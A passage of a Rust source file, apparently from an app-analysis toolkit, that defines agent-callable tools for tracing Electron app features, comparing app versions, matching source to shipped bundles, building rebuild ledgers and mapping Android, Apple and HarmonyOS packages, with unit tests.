\"Export\") from the button the user clicks to what the app finally does.", + schema_of::, + app_feature_follow, + ), + app( + "js_function_explain", + "Explain a function", + "Function-level slice of an application graph: for the seeded functions, their calls (resolved where possible), callers (resolved or same-name inferred), strings, the IPC/effects/endpoints/storage they touch, and a depth-limited callee tree. Unresolved dynamic calls are listed.", + "See what a piece of code does: what it calls, who calls it and what it touches.", + schema_of::, + js_function_explain, + ), + app( + "app_graphs_compare", + "Compare two app versions", + "Compare two application graphs: modules (unchanged, changed, moved by content, renamed by structure, added, removed), bundle modules (content → structure → id), IPC channels and handlers, bridge members, endpoints, routes, window webPreferences, native modules and vendor versions.", + "See what changed between two versions of an app.", + schema_of::, + app_graphs_compare, + ), + app( + "js_exports_compare", + "Compare module exports", + "Compare what each module exports (ES module names, CommonJS names, the kind of module.exports) between two application graphs, matching modules by path then by structure.", + "Check whether the pieces of an app still offer the same functions to each other.", + schema_of::, + js_exports_compare, + ), + app( + "app_source_import", + "Import a source folder", + "Read a reference source tree (honouring .gitignore, skipping .git and hidden files) into a source graph: every file with sha256 and language; JavaScript/TypeScript files with exports, imports, function names, strings and a structural fingerprint. Use with js_source_bundle_compare.", + "Load the original source code of an app so it can be lined up with what was shipped.", + schema_of::, + app_source_import, + ), + app( + "js_source_bundle_compare", + "Line up source with the bundle", + "Match reference source files (from app_source_import, or a folder path) to the shipped app's files and bundle modules by path, source-map listing, shared strings, function names and export names; reports matches with scores and reasons, unmatched sources and bundle code without a source.", + "Find which original source file each part of a shipped app came from.", + schema_of::, + compare_source_to_bundle_tool, + ), + app( + "app_ledger_build", + "Build a rebuild ledger", + "Derive the expectations a clean-room rebuild must meet from an application graph (IPC handlers, bridge members, windows, endpoints, routes, storage, file/process effects, native modules, entry point) and mark each one proven only when the manifest gives it one owner, a parser type where needed, every case it must cover with strong enough evidence, and a passing check with its result. Ledger status: ready, open, failing or unclear.", + "Make a checklist of everything a rebuilt app must do, and tick items off only with proof.", + schema_of::, + app_ledger_build, + ), + app( + "app_coverage_evaluate", + "How complete is the rebuild", + "Summarise a rebuild ledger: the share of in-scope expectations proven, counts by layer and status, and the open gaps with what each still needs.", + "See how much of a rebuild is proven and what's still missing.", + schema_of::, + app_coverage_evaluate, + ), + app( + "android_app_graph_build", + "Map an Android app", + "Project an Android package's inventory (core_archive_show evidence or a path) into an application graph: manifest, DEX code, native libraries by ABI, split APKs, signing files, resources and embedded runtimes (Flutter, React Native/Hermes, Cordova/Capacitor, .NET, Unity…). Runtime hints are inferred from file names.", + "Get an overview of how an Android app is put together.", + schema_of::, + android_app_graph_build, + ), + app( + "apple_app_graph_build", + "Map an Apple app", + "Project an iOS/macOS app's inventory (core_archive_show evidence or a path) into an application graph: bundles and extensions, executables, frameworks, dylibs, signing material, interface files, asset catalogs and embedded runtimes (Flutter, React Native, Electron, Unity…). Runtime hints are inferred from file names.", + "Get an overview of how an iPhone or Mac app is put together.", + schema_of::, + apple_app_graph_build, + ), + app( + "harmony_app_graph_build", + "Map a HarmonyOS app", + "Project a HarmonyOS package's inventory (core_archive_show evidence or a path) into an application graph: module manifests, HAP/HSP packages, Ark bytecode, native libraries by ABI and resources.", + "Get an overview of how a HarmonyOS app is put together.", + schema_of::, + harmony_app_graph_build, + ), + ] +} + +/// Link ids into a builder. +fn with_links(mut b: EvidenceBuilder, ids: impl IntoIterator>) -> EvidenceBuilder { + for id in ids.into_iter().flatten() { + b = b.link(id); + } + b +} + +fn app_subject(label: &str) -> Subject { + Subject { kind: "js-app".into(), sha256: None, name: Some(label.to_string()) } +} + +// --------------------------------------------------------------------------------------------- + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, JsonSchema)] +#[serde(rename_all = "kebab-case")] +pub enum MatchMode { + /// Case-insensitive substring. + #[default] + Contains, + Exact, +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, JsonSchema)] +#[serde(rename_all = "kebab-case")] +pub enum SeedKindParam { + Node, + Module, + Function, + String, + IpcChannel, + Endpoint, + Route, + Api, + #[default] + Any, +} + +impl From for SeedKind { + fn from(s: SeedKindParam) -> Self { + match s { + SeedKindParam::Node => SeedKind::Node, + SeedKindParam::Module => SeedKind::Module, + SeedKindParam::Function => SeedKind::Function, + SeedKindParam::String => SeedKind::String, + SeedKindParam::IpcChannel => SeedKind::IpcChannel, + SeedKindParam::Endpoint => SeedKind::Endpoint, + SeedKindParam::Route => SeedKind::Route, + SeedKindParam::Api => SeedKind::Api, + SeedKindParam::Any => SeedKind::Any, + } + } +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct Seed { + #[serde(default)] + pub kind: SeedKindParam, + /// What to look for: a channel name, function name, string, module path, URL fragment or node id. + pub value: String, + #[serde(default, rename = "match")] + pub match_mode: MatchMode, +} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, JsonSchema)] +#[serde(rename_all = "kebab-case")] +pub enum DirectionParam { + /// What the seed leads to. + Outgoing, + /// What leads to the seed. + Incoming, + #[default] + Both, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct TraceFeatureParams { + /// js_app_map evidence (inline or {"kind":"saved","evidence_id":…}) or an absolute path to analyse. + pub application: Value, + pub seed: Seed, + #[serde(default)] + pub direction: DirectionParam, + /// Most hops from the seed (1–32). + #[serde(default = "default_depth")] + pub max_depth: usize, + /// Most nodes in the trace. + #[serde(default = "default_trace_nodes")] + pub max_nodes: usize, +} + +fn default_depth() -> usize { + 8 +} +fn default_trace_nodes() -> usize { + 500 +} + +fn no_seed(value: &str) -> ToolError { + ToolError::invalid(format!("nothing in the application graph matches {value:?}")) + .with_remediation("Try seed.kind=any with match=contains, or look at the graph's ipc, endpoints and modules lists for exact names.") +} + +fn app_feature_follow(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: TraceFeatureParams = parse_params(params)?; + let (g, id) = load_graph(ctx, &p.application)?; + let seeds = find_seeds(&g, p.seed.kind.into(), &p.seed.value, p.seed.match_mode == MatchMode::Exact); + if seeds.is_empty() { + return Err(no_seed(&p.seed.value)); + } + let dir = match p.direction { + DirectionParam::Outgoing => Direction::Outgoing, + DirectionParam::Incoming => Direction::Incoming, + DirectionParam::Both => Direction::Both, + }; + let t = follow_feature(&g, &seeds, dir, p.max_depth.clamp(1, 32), p.max_nodes.clamp(1, 20_000)); + let summary = if t.story.len() > 1 { t.story.join(" → ") } else { format!("{} node(s) connected to {:?}.", t.nodes.len(), p.seed.value) }; + let mut b = EvidenceBuilder::new("app_feature_follow", app_subject(&g.label), env(ctx)) + .params(json!({"graph_id": g.graph_id, "seed": {"kind": format!("{:?}", p.seed.kind), "value": p.seed.value, "exact": p.seed.match_mode == MatchMode::Exact}, "direction": format!("{dir:?}"), "max_depth": p.max_depth})) + .result(serde_json::to_value(&t).map_err(|e| ToolError::internal(e.to_string()))?) + .summary(summary.chars().take(2000).collect::()) + .confidence(Confidence::Derived) + .limitation(Limitation::new("static_edges", "Edges come from literal names in code (channels, bridge members, function names); dynamic dispatch is not followed.")); + if t.truncated { + b = b.limitation(Limitation::new("truncated", "The trace hit max_nodes; raise it to see more.")); + } + for n in t.nodes.iter().filter(|n| t.seeds.contains(&n.id)) { + if let (Some(m), Some(l)) = (&n.module, n.line) { + b = b.location(Location::new("line", format!("{m}:{l}")).with_label(n.label.clone())); + } + } + Ok(ToolOutput::evidence(with_links(b, [id]).build()?)) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct TraceSemanticsParams { + /// js_app_map evidence or an absolute path to analyse. + pub application: Value, + pub seed: Seed, + /// Depth of the callee tree (1–16). + #[serde(default = "default_sem_depth")] + pub max_depth: usize, + /// Most functions reported. + #[serde(default = "default_sem_functions")] + pub max_functions: usize, +} + +fn default_sem_depth() -> usize { + 4 +} +fn default_sem_functions() -> usize { + 32 +} + +fn js_function_explain(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: TraceSemanticsParams = parse_params(params)?; + let (g, id) = load_graph(ctx, &p.application)?; + let seeds = find_seeds(&g, p.seed.kind.into(), &p.seed.value, p.seed.match_mode == MatchMode::Exact); + if seeds.is_empty() { + return Err(no_seed(&p.seed.value)); + } + let r = trace_semantics(&g, &seeds, p.max_depth.clamp(1, 16), p.max_functions.clamp(1, 1000)); + let n = r["functions"].as_array().map_or(0, Vec::len); + let first = r["functions"].get(0); + let summary = match first { + Some(f) => format!( + "{} ({}:{}) calls {} function(s), has {} caller(s) and touches {} thing(s){}.", + f["name"].as_str().unwrap_or("?"), + f["module"].as_str().unwrap_or("?"), + f["line"], + f["calls"].as_array().map_or(0, Vec::len), + f["callers"].as_array().map_or(0, Vec::len), + f["touches"].as_array().map_or(0, Vec::len), + if n > 1 { format!("; {} more function(s) matched", n - 1) } else { String::new() } + ), + None => "The seed matched no functions.".to_string(), + }; + let b = EvidenceBuilder::new("js_function_explain", app_subject(&g.label), env(ctx)) + .params(json!({"graph_id": g.graph_id, "seed": p.seed.value, "max_depth": p.max_depth})) + .result(r) + .summary(summary) + .confidence(Confidence::Derived) + .limitation(Limitation::new("no_dataflow", "Calls and touches are read from syntax; values flowing between functions are not tracked.")) + .limitation(Limitation::new("inferred_callers", "Callers marked 'same name (inferred)' match by name only and may be wrong.")); + Ok(ToolOutput::evidence(with_links(b, [id]).build()?)) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PairParams { + /// The older version: js_app_map evidence or an absolute path. + pub left: Value, + /// The newer version, in the same forms. + pub right: Value, +} + +fn app_graphs_compare(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PairParams = parse_params(params)?; + let (l, lid) = load_graph(ctx, &p.left)?; + ctx.cancel.check()?; + let (r, rid) = load_graph(ctx, &p.right)?; + let d = js_compare::compare_versions(&l, &r); + let summary = format!( + "{} {} → {}: {} module(s) changed, {} added, {} removed; IPC channels +{} −{}; endpoints +{} −{}.", + l.label, + d["left"]["version"].as_str().unwrap_or("?"), + d["right"]["version"].as_str().unwrap_or("?"), + d["modules"]["changed"].as_array().map_or(0, Vec::len), + d["modules"]["added"].as_array().map_or(0, Vec::len), + d["modules"]["removed"].as_array().map_or(0, Vec::len), + d["ipc_channels"]["added"].as_array().map_or(0, Vec::len), + d["ipc_channels"]["removed"].as_array().map_or(0, Vec::len), + d["endpoints"]["added"].as_array().map_or(0, Vec::len), + d["endpoints"]["removed"].as_array().map_or(0, Vec::len), + ); + let b = EvidenceBuilder::new( + "app_graphs_compare", + Subject { kind: "js-app-pair".into(), sha256: None, name: Some(format!("{} vs {}", l.label, r.label)) }, + env(ctx), + ) + .params(json!({"left": l.graph_id, "right": r.graph_id})) + .result(d) + .summary(summary) + .confidence(Confidence::Derived) + .limitation(Limitation::new( + "tiered_matching", + "Modules match by path, then identical content, then the same name apart from a bundler's build hash (one on each side; `was` gives the old name), then identical structure; a heavily rewritten module shows as removed + added.", + )); + Ok(ToolOutput::evidence(with_links(b, [lid, rid]).build()?)) +} + +fn js_exports_compare(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PairParams = parse_params(params)?; + let (l, lid) = load_graph(ctx, &p.left)?; + let (r, rid) = load_graph(ctx, &p.right)?; + let d = js_compare::compare_export_outlines(&l, &r); + let summary = format!("{} module(s) compared; {} changed their exports.", d["modules"].as_array().map_or(0, Vec::len), d["changed"]); + let b = EvidenceBuilder::new( + "js_exports_compare", + Subject { kind: "js-app-pair".into(), sha256: None, name: Some(format!("{} vs {}", l.label, r.label)) }, + env(ctx), + ) + .params(json!({"left": l.graph_id, "right": r.graph_id})) + .result(d) + .summary(summary) + .confidence(Confidence::Derived) + .limitation(Limitation::new("names_only", "Export names and module.exports kind are compared, not function signatures or types.")); + Ok(ToolOutput::evidence(with_links(b, [lid, rid]).build()?)) +} + +// --------------------------------------------------------------------------------------------- + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ImportSourceParams { + /// Absolute path of the source folder. + pub path: String, + /// Skip files matched by .gitignore files. + #[serde(default = "yes")] + pub respect_gitignore: bool, + /// Include dot-files and dot-folders (other than .git, always skipped). + #[serde(default)] + pub include_hidden: bool, + #[serde(default = "default_src_files")] + pub max_files: usize, + #[serde(default = "default_src_file_bytes")] + pub max_file_bytes: u64, + #[serde(default = "default_src_total")] + pub max_total_bytes: u64, +} + +fn yes() -> bool { + true +} +fn default_src_files() -> usize { + 20_000 +} +fn default_src_file_bytes() -> u64 { + 4 * 1024 * 1024 +} +fn default_src_total() -> u64 { + 512 * 1024 * 1024 +} + +fn source_graph_from_path(ctx: &Ctx<'_>, p: &ImportSourceParams) -> Result { + let root = abs_path(&p.path, "path")?; + if !root.is_dir() { + return Err(ToolError::invalid(format!("{} is not a folder", root.display()))); + } + let skip = |rel: &str| rel.ends_with("node_modules") && !p.respect_gitignore; + let w = walk_dir( + &root, + &WalkOptions { max_files: p.max_files.max(1), max_depth: 64, skip_dir: &skip, gitignore: p.respect_gitignore, include_hidden: p.include_hidden }, + &ctx.cancel, + )?; + let mut files = Vec::new(); + let mut total = 0u64; + let mut over = false; + for f in &w.files { + if f.rel.ends_with(".gitignore") { + continue; + } + if f.size > p.max_file_bytes || total.saturating_add(f.size) > p.max_total_bytes { + over = true; + continue; + } + if let Ok(b) = std::fs::read(&f.abs) { + total += b.len() as u64; + files.push((f.rel.clone(), b)); + } + } + let label = root.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + let cancel = ctx.cancel.clone(); + build_source_graph(&label, &files, w.ignored, w.truncated || over, &craft_anything_js::Limits::default(), &move || cancel.is_cancelled()) + .map_err(|_| ToolError::cancelled()) +} + +fn app_source_import(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ImportSourceParams = parse_params(params)?; + let g = source_graph_from_path(ctx, &p)?; + let scripts = g.files.iter().filter(|f| f.parse_mode.is_some()).count(); + let summary = format!("{}: {} file(s), {} script(s) analysed, {} ignored.", g.label, g.files.len(), scripts, g.ignored); + let mut b = EvidenceBuilder::new( + "app_source_import", + Subject { kind: "source-tree".into(), sha256: Some(g.source_graph_id.trim_start_matches("sg_").to_string()), name: Some(g.label.clone()) }, + env(ctx), + ) + .params(json!({"path": p.path, "respect_gitignore": p.respect_gitignore, "include_hidden": p.include_hidden})) + .result(serde_json::to_value(&g).map_err(|e| ToolError::internal(e.to_string()))?) + .summary(summary) + .confidence(Confidence::Observed) + .authority(craft_anything_evidence::Authority::Reasoning) + .coverage(Coverage { + status: if g.truncated { CoverageStatus::Partial } else { CoverageStatus::Complete }, + examined: Some(g.files.len() as u64), + total: None, + next_offset: None, + }) + .location(Location::new("path", p.path.clone())); + if g.truncated { + b = b.limitation(Limitation::new("truncated", "Some files were skipped by the size or count limits.")); + } + b = b.limitation(Limitation::new( + "reference_claim", + "A source tree is someone's claim about what was built; js_source_bundle_compare checks it against the shipped code.", + )); + Ok(ToolOutput::evidence(b.build()?)) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SourceBundleParams { + /// app_source_import evidence (inline or retained) or an absolute source folder path. + pub source: Value, + /// js_app_map evidence or an absolute path to analyse. + pub application: Value, + #[serde(default = "default_rows")] + pub max_rows: usize, +} + +fn default_rows() -> usize { + 2000 +} + +fn compare_source_to_bundle_tool(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SourceBundleParams = parse_params(params)?; + let (src, sid) = if let Some(path) = is_path_input(&p.source) { + let ip = ImportSourceParams { + path: path.into(), + respect_gitignore: true, + include_hidden: false, + max_files: default_src_files(), + max_file_bytes: default_src_file_bytes(), + max_total_bytes: default_src_total(), + }; + (source_graph_from_path(ctx, &ip)?, None) + } else { + let ev = resolve_evidence_input(ctx, &p.source, &["app_source_import"])?; + let g: SourceGraph = + serde_json::from_value(ev.result.clone()).map_err(|e| ToolError::invalid(format!("evidence {} has no source graph: {e}", ev.id)))?; + (g, Some(ev.id)) + }; + let (app, aid) = load_graph(ctx, &p.application)?; + let d = diff_source_and_bundle(&src, &app, p.max_rows.clamp(1, 100_000)); + let s = &d["summary"]; + let summary = format!( + "{} of {} source script(s) matched shipped code; {} unmatched; {} bundle unit(s) without a source.", + s["matched"], s["source_scripts"], s["unmatched_sources"], s["bundle_units_without_source"] + ); + let b = EvidenceBuilder::new( + "js_source_bundle_compare", + Subject { kind: "source-bundle-pair".into(), sha256: None, name: Some(format!("{} vs {}", src.label, app.label)) }, + env(ctx), + ) + .params(json!({"source_graph_id": src.source_graph_id, "graph_id": app.graph_id})) + .result(d) + .summary(summary) + .confidence(Confidence::Inferred) + .limitation(Limitation::new( + "heuristic_matching", + "Beyond identical paths and source-map listings, matches rest on shared strings and names; 'weak' matches need a human look.", + )); + Ok(ToolOutput::evidence(with_links(b, [sid, aid]).build()?)) +} + +// --------------------------------------------------------------------------------------------- + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct OwnerParam { + pub module_path: String, + pub symbol: String, + #[serde(default)] + pub impl_sha256: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CaseParam { + /// works, refuses, bad-input, cancel or shutdown. + pub kind: String, + /// Evidence id proving this case. + pub evidence_id: String, + /// unit-test, module-test, network-test, page-test, built-app, native-call, live-run or outside-check. + pub strength: String, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct VerifierParam { + pub command: String, + pub strength: String, + /// pass or fail. + pub status: String, + pub result_evidence: String, + /// Expectations this verifier checks. + pub expectation_ids: Vec, + #[serde(default)] + pub nondeterminism: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct BindingParam { + pub expectation_id: String, + pub owner: OwnerParam, + #[serde(default)] + pub parser_type: Option, + #[serde(default)] + pub cases: Vec, + #[serde(default)] + pub verifier: Option, +} + +#[derive(Debug, Default, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ManifestParam { + #[serde(default)] + pub bindings: Vec, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ReviewParam { + pub expectation_id: String, + /// required, skipped or waiting. + pub decision: String, + #[serde(default)] + pub reason: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct LedgerParams { + /// js_app_map evidence or an absolute path to analyse. + pub application: Value, + /// How the rebuild binds expectations to owners, cases and verifiers. + #[serde(default)] + pub manifest: ManifestParam, + /// Expectations reviewed as out of scope or blocked. + #[serde(default)] + pub reviewed_expectations: Vec, +} + +fn app_ledger_build(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: LedgerParams = parse_params(params)?; + let (g, id) = load_graph(ctx, &p.application)?; + for r in &p.reviewed_expectations { + if !matches!(r.decision.as_str(), "required" | "skipped" | "waiting") { + return Err(ToolError::invalid(format!("decision {:?} must be required, skipped or waiting", r.decision))); + } + } + let bindings: Vec = p + .manifest + .bindings + .iter() + .map(|b| Binding { + expectation_id: b.expectation_id.clone(), + owner: craft_anything_analysis::js_ledger::Owner { + module_path: b.owner.module_path.clone(), + symbol: b.owner.symbol.clone(), + impl_sha256: b.owner.impl_sha256.clone(), + }, + parser_type: b.parser_type.clone(), + cases: b + .cases + .iter() + .map(|c| craft_anything_analysis::js_ledger::Case { kind: c.kind.clone(), evidence_id: c.evidence_id.clone(), strength: c.strength.clone() }) + .collect(), + verifier: b.verifier.as_ref().map(|v| craft_anything_analysis::js_ledger::Verifier { + command: v.command.clone(), + strength: v.strength.clone(), + status: v.status.clone(), + result_evidence: v.result_evidence.clone(), + expectation_ids: v.expectation_ids.clone(), + nondeterminism: v.nondeterminism.clone(), + }), + }) + .collect(); + let reviews: Vec = p + .reviewed_expectations + .iter() + .map(|r| Review { expectation_id: r.expectation_id.clone(), decision: r.decision.clone(), reason: r.reason.clone() }) + .collect(); + let session = &*ctx.session; + let ok = |eid: &str| session.resolve_evidence(eid).is_ok_and(|e| e.verify()); + let l = build_ledger(&g, &bindings, &reviews, &ok); + let summary = format!( + "Ledger {}: {} expectation(s), status {} ({}).", + l["ledger_id"].as_str().unwrap_or(""), + l["expectations"].as_array().map_or(0, Vec::len), + l["status"].as_str().unwrap_or("?"), + l["counts"].as_object().map(|m| m.iter().map(|(k, v)| format!("{v} {k}")).collect::>().join(", ")).unwrap_or_default() + ); + let mut b = EvidenceBuilder::new("app_ledger_build", app_subject(&g.label), env(ctx)) + .params(json!({"graph_id": g.graph_id, "bindings": bindings.len(), "reviews": reviews.len()})) + .result(l) + .summary(summary) + .confidence(Confidence::Derived) + .limitation(Limitation::new( + "candidate_expectations", + "Expectations are derived from what static analysis found; behaviour it could not see needs expectations added by review.", + )); + for bnd in &bindings { + for c in &bnd.cases { + b = b.link(c.evidence_id.clone()); + } + if let Some(v) = &bnd.verifier { + b = b.link(v.result_evidence.clone()); + } + } + Ok(ToolOutput::evidence(with_links(b, [id]).build()?)) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CoverageParams { + /// app_ledger_build evidence (inline or retained). + pub ledger: Value, +} + +fn app_coverage_evaluate(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CoverageParams = parse_params(params)?; + let ev = resolve_evidence_input(ctx, &p.ledger, &["app_ledger_build"])?; + let c = evaluate_coverage(&ev.result); + let summary = + format!("{}% of {} in-scope expectation(s) proven; ledger {}.", c["proven_percent"], c["in_scope"], c["ledger_status"].as_str().unwrap_or("?")); + let b = EvidenceBuilder::new("app_coverage_evaluate", ev.subject.clone(), env(ctx)) + .params(json!({"ledger_id": c["ledger_id"]})) + .result(c) + .summary(summary) + .confidence(Confidence::Derived) + .link(ev.id); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ProjectionParams { + /// core_archive_show evidence (inline or retained). Its recorded path is re-read for the full inventory. + #[serde(default)] + pub inventory: Option, + /// Or an absolute path to inventory now. Defaults to the active target when neither is given. + #[serde(default)] + pub path: Option, +} + +fn projection_inventory(ctx: &Ctx<'_>, p: &ProjectionParams) -> Result<(Inventory, Subject, Option), ToolError> { + let limits = InvLimits { max_depth: 2, ..InvLimits::default() }; + if let Some(v) = &p.inventory { + let ev = resolve_evidence_input(ctx, v, &["core_archive_show"])?; + let (inv, subject) = recorded_inventory(&ev, limits, &ctx.cancel)?; + return Ok((inv, subject, Some(ev.id))); + } + let path = match &p.path { + Some(x) => abs_path(x, "path")?, + None => ctx.session.active()?.target.path.clone(), + }; + let (inv, subject) = inventory_path(&path, limits, &ctx.cancel)?; + Ok((inv, subject, None)) +} + +fn project(ctx: &mut Ctx<'_>, params: Value, op: &'static str, f: fn(&Inventory) -> Value, platform: &str) -> Result { + let p: ProjectionParams = parse_params(params)?; + let (inv, subject, id) = projection_inventory(ctx, &p)?; + let r = f(&inv); + let recognised = r["recognised"].as_bool().unwrap_or(false); + let lims: Vec = r["limitations"].as_array().into_iter().flatten().filter_map(Value::as_str).map(|m| Limitation::new("projection", m)).collect(); + let runtimes: Vec<&str> = r["runtimes"].as_array().into_iter().flatten().filter_map(|x| x["runtime"].as_str()).collect(); + let summary = if recognised { + format!("{} looks like a {platform} app{}.", inv.root, if runtimes.is_empty() { String::new() } else { format!(" (hints: {})", runtimes.join(", ")) }) + } else if r["shape"] == "bare-executable" { + format!("{} is a bare program, not a {platform} app bundle; apple_macho_show and the native tools fit it better.", inv.root) + } else { + format!("{} does not look like a {platform} app; the projection is mostly empty.", inv.root) + }; + let mut b = EvidenceBuilder::new(op, subject, env(ctx)) + .params(json!({"content_id": inv.content_id()})) + .result(r) + .summary(summary) + .confidence(Confidence::Inferred) + .limitations(lims); + if inv.truncated { + b = b.limitation(Limitation::new("truncated", "The inventory was cut short by a limit.")); + } + Ok(ToolOutput::evidence(with_links(b, [id]).build()?)) +} + +fn android_app_graph_build(ctx: &mut Ctx<'_>, params: Value) -> Result { + project(ctx, params, "android_app_graph_build", js_projection::project_android, "Android") +} + +fn apple_app_graph_build(ctx: &mut Ctx<'_>, params: Value) -> Result { + project(ctx, params, "apple_app_graph_build", js_projection::project_apple, "Apple") +} + +fn harmony_app_graph_build(ctx: &mut Ctx<'_>, params: Value) -> Result { + project(ctx, params, "harmony_app_graph_build", js_projection::project_harmony, "HarmonyOS") +} + +#[cfg(test)] +mod tests { + use crate::{CallOptions, Caller, Engine}; + use craft_anything_evidence::ToolError; + use craft_anything_testkit::electron as fx; + use serde_json::{Value, json}; + + fn call(e: &Engine, id: &str, p: Value) -> Result { + e.call(id, p, CallOptions::new(Caller::Agent)).map(|o| o.to_json()) + } + + fn retained(v: &Value) -> Value { + json!({"kind": "saved", "evidence_id": v["id"]}) + } + + #[test] + fn notes_export_feature_end_to_end() { + let dir = tempfile::tempdir().unwrap(); + let root = fx::write_notes_app(dir.path()).unwrap(); + let e = Engine::new(crate::testing::session()); + let a = call(&e, "js_app_map", json!({"input_path": root})).unwrap(); + let t = + call(&e, "app_feature_follow", json!({"application": retained(&a), "seed": {"kind": "ipc-channel", "value": "export-notes", "match": "exact"}})) + .unwrap(); + let story = t["summary"].as_str().unwrap(); + assert!(story.contains("renderer/app.js") && story.contains("window.api.exportNotes") && story.contains("ipcMain.handle(export-notes)"), "{story}"); + let all = t["result"].to_string(); + assert!(all.contains("fs.writeFileSync") && all.contains("dialog.showSaveDialog"), "{all}"); + // By string, from a path input (analysed on the spot). + let s = + call(&e, "app_feature_follow", json!({"application": root, "seed": {"kind": "string", "value": "notes.csv"}, "direction": "incoming"})).unwrap(); + assert!(s["result"]["nodes"].as_array().unwrap().len() >= 2); + let sem = + call(&e, "js_function_explain", json!({"application": retained(&a), "seed": {"kind": "function", "value": "toCsv", "match": "exact"}})).unwrap(); + assert!(sem["summary"].as_str().unwrap().starts_with("toCsv (main.js:"), "{}", sem["summary"]); + assert!(call(&e, "app_feature_follow", json!({"application": retained(&a), "seed": {"value": "no-such-thing-xyz"}})).is_err()); + } + + #[test] + fn versions_exports_and_ledger() { + let dir = tempfile::tempdir().unwrap(); + let v1 = fx::write_files(&dir.path().join("v1"), &fx::notes_app_files()).unwrap(); + let v2 = fx::write_files(&dir.path().join("v2"), &fx::notes_app_v2_files()).unwrap(); + let e = Engine::new(crate::testing::session()); + let d = call(&e, "app_graphs_compare", json!({"left": v1, "right": v2})).unwrap(); + assert_eq!(d["result"]["ipc_channels"]["added"], json!(["import-notes"])); + let x = call(&e, "js_exports_compare", json!({"left": v1, "right": v2})).unwrap(); + assert_eq!(x["result"]["changed"], 0); + let a = call(&e, "js_app_map", json!({"input_path": v1})).unwrap(); + let l = call(&e, "app_ledger_build", json!({"application": retained(&a)})).unwrap(); + assert_eq!(l["result"]["status"], "open"); + let ipc = l["result"]["expectations"].as_array().unwrap().iter().find(|o| o["target"] == "ipc:export-notes").unwrap()["expectation_id"] + .as_str() + .unwrap() + .to_string(); + // Bind it with real evidence ids from this session. + let proof = a["id"].as_str().unwrap(); + let manifest = json!({"bindings": [{ + "expectation_id": ipc, "owner": {"module_path": "src/main.rs", "symbol": "export_notes"}, "parser_type": "Notes", + "cases": [{"kind": "works", "evidence_id": proof, "strength": "module-test"}, {"kind": "refuses", "evidence_id": proof, "strength": "module-test"}, {"kind": "bad-input", "evidence_id": proof, "strength": "network-test"}], + "verifier": {"command": "cargo test", "strength": "module-test", "status": "pass", "result_evidence": proof, "expectation_ids": [ipc]} + }]}); + let l2 = call(&e, "app_ledger_build", json!({"application": retained(&a), "manifest": manifest})).unwrap(); + assert_eq!(l2["result"]["counts"]["proven"], 1); + let c = call(&e, "app_coverage_evaluate", json!({"ledger": retained(&l2)})).unwrap(); + assert_eq!(c["result"]["proven"], 1); + assert!( + call(&e, "app_ledger_build", json!({"application": retained(&a), "reviewed_expectations": [{"expectation_id": "x", "decision": "maybe"}]})) + .is_err() + ); + assert!(call(&e, "app_coverage_evaluate", json!({"ledger": retained(&a)})).is_err(), "wrong evidence kind"); + } + + #[test] + fn reference_source_against_bundle() { + let dir = tempfile::tempdir().unwrap(); + let src = dir.path().join("src-tree"); + fx::write_files( + &src, + &[ + ("src/api.js", "const base = 'https://api.example.test'; module.exports = { list: () => fetch(base + '/items') };".to_string()), + ("src/util.js", "exports.sum = (a, b) => a + b;".to_string()), + ("generated/skip.js", "nope".to_string()), + (".gitignore", "generated/\n".to_string()), + ], + ) + .unwrap(); + let dist = dir.path().join("dist"); + std::fs::create_dir(&dist).unwrap(); + std::fs::write(dist.join("main.js"), fx::WEBPACK_BUNDLE).unwrap(); + let e = Engine::new(crate::testing::session()); + let s = call(&e, "app_source_import", json!({"path": src})).unwrap(); + assert!(!s["result"]["files"].as_array().unwrap().iter().any(|f| f["path"] == "generated/skip.js")); + let c = call(&e, "js_source_bundle_compare", json!({"source": retained(&s), "application": dist})).unwrap(); + assert_eq!(c["result"]["summary"]["matched"], 2, "{}", c["result"]); + assert_eq!(c["confidence"], "inferred"); + } + + #[test] + fn projections_from_paths_and_evidence() { + let dir = tempfile::tempdir().unwrap(); + let apk = dir.path().join("app.apk"); + std::fs::write( + &apk, + fx::zip_stored(&[ + ("AndroidManifest.xml", &[3, 0, 8, 0]), + ("classes.dex", b"dex\n035\0"), + ("lib/arm64-v8a/libhermes.so", b"\x7fELF"), + ("assets/index.android.bundle", b"x"), + ]), + ) + .unwrap(); + let e = Engine::new(crate::testing::session()); + let p = call(&e, "android_app_graph_build", json!({"path": apk})).unwrap(); + 